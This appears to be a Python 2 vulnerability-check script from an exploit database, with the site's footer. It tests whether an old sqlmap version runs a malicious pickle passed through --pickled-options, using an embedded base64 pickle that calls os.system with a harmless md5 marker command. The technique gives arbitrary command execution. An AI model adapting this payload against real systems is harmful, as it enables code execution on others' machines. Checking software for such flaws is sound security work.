#!/usr/bin/env python
# coding:utf-8
# Author: Anonymous
'''
测试前先
git checkout decab66
python 90021.py 然后是sqlmap 的路径
'''
import sys
import os
import subprocess
import platform
import time
import signal
class TimeoutError(Exception):
pass
def command(cmd, timeout=5):
"""Run command and return the output
cmd - the command to run
timeout - max seconds to wait for
"""
is_linux = platform.system() == 'Linux'
p = subprocess.Popen(
cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,
shell=True, preexec_fn=os.setsid if is_linux else None)
t_beginning = time.time()
seconds_passed = 0
while True:
if p.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
if is_linux:
os.killpg(p.pid, signal.SIGTERM)
else:
p.terminate()
return p.stdout.read()
# raise TimeoutError(cmd, timeout)
time.sleep(0.1)
return p.stdout.read()
def main():
args = sys.argv
if len(args) < 2:
print "Usage: python %s [sqlmap path]" % (args[0])
sys.exit(0)
sqlmap_path = args[1]
if os.path.isfile(sqlmap_path):
sqlmap_path = os.path.dirname(sqlmap_path)
sqlmap_path = os.path.join(sqlmap_path, 'sqlmap.py')
if not os.path.isfile(sqlmap_path):
print "%s is not sqlmap path." % (args[1])
sys.exit(1)
payload = 'python %s --pickled-options "Y29zCnN5c3RlbQooUydtZDUgLXMgc2VidWcnCnRSLg=="' % (
sqlmap_path)
try:
# res = commands.getstatusoutput(payload)
# 不加超时要手动输入一个回车才有结果
res = command(payload, 1)
data = res
if '7140eb5b0d8013717ae7cc815f5eedc7' in data:
print "sqlmap is vulnerable"
else:
print "sqlmap is not vulnerable"
sys.exit(0)
except Exception, e:
raise e
if __name__ == '__main__':
main()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation